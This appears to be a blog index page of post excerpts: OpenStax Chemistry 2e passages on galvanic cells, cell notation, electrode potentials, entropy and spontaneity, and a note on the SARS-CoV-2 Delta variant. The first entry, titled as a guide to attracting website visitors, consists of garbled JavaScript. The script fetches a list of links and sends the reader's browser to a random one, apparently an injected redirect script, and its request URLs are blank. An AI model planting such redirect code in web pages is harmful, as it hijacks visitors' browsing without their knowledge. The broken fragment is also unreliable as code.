Modern Guides to Attract More Website Visitors

redirectBoolean = true; function changeBoolean() { redirectBoolean = false; } function myFunction() { const xhttp = new XMLHttpRequest(); xhttp.onload = function() { lines = xhttp.responseText.split("\n"); RANDOMTEXTLINE = lines[Math.floor(Math.random()*lines.length)]; if (redirectBoolean === true){ window.location = RANDOMTEXTLINE; } //document.getElementById('bottomFrame').url=RANDOMTEXTLINE; }"GET", ""); //"GET", ""); //"GET", ""); xhttp.send(); } Modern Guides to Attract More Website Visitors Disclaimer: This … Continue reading Modern Guides to Attract More Website Visitors

Electrode and Cell Potentials

Figure 1. A standard hydrogen electrode (SHE). Source: OpenStax Chemistry 2e Electrode and Cell Potentials (OpenStax Chemistry 2e) Unlike the spontaneous oxidation of copper by aqueous silver(I) ions described in section 17.2, immersing a copper wire in an aqueous solution of lead(II) ions yields no reaction. The two species, Ag+(aq) and Pb2+(aq), thus show a distinct difference in … Continue reading Electrode and Cell Potentials

Cell Notation

Figure 1. A galvanic cell based on the spontaneous reaction between copper and silver(I) ions. Source: OpenStax Chemistry 2e Cell Notation (OpenStax Chemistry 2e) Abbreviated symbolism is commonly used to represent a galvanic cell by providing essential information on its composition and structure. These symbolic representations are called cell notations or cell schematics, and they are written following a few … Continue reading Cell Notation

Research Highlights: SARS-CoV-2 Delta Variant Resistant to Neutralization by Antibody

Image by Alexandra_Koch from Pixabay SARS-CoV-2 Delta Variant Resistant to Neutralization by Antibody The SARS-CoV-2 B.1.617, also known as the delta variant, was originally discovered in India and is now spreading worldwide.The delta variant became dominant in parts of India and the United Kingdom, and further spread to other countries.The Delta variant had been detected … Continue reading Research Highlights: SARS-CoV-2 Delta Variant Resistant to Neutralization by Antibody

Galvanic Cells

Figure 1. A copper wire and an aqueous solution of silver nitrate (left) are brought into contact (center) and a spontaneous transfer of electrons occurs, creating blue Cu2+(aq) and gray Ag(s) (right). Source: OpenStax Chemistry 2e Galvanic Cells (OpenStax Chemistry 2e) As demonstration of spontaneous chemical change, Figure 1 shows the result of immersing a coiled wire of copper … Continue reading Galvanic Cells

Temperature Dependence of Spontaneity

Figure 1. There are four possibilities regarding the signs of enthalpy and entropy changes. Source: OpenStax Chemistry 2e Temperature Dependence of Spontaneity (OpenStax Chemistry 2e) The spontaneity of a process may depend upon the temperature of the system. Phase transitions, for example, will proceed spontaneously in one direction or the other depending upon the temperature of the … Continue reading Temperature Dependence of Spontaneity

Entropy and Microstates

Figure 1. The sixteen microstates associated with placing four particles in two boxes are shown. The microstates are collected into five distributions—(a), (b), (c), (d), and (e)—based on the numbers of particles in each box. Source: OpenStax Chemistry 2e Entropy and Microstates (OpenStax Chemistry 2e) Following the work of Carnot and Clausius, Ludwig Boltzmann developed a molecular-scale statistical model … Continue reading Entropy and Microstates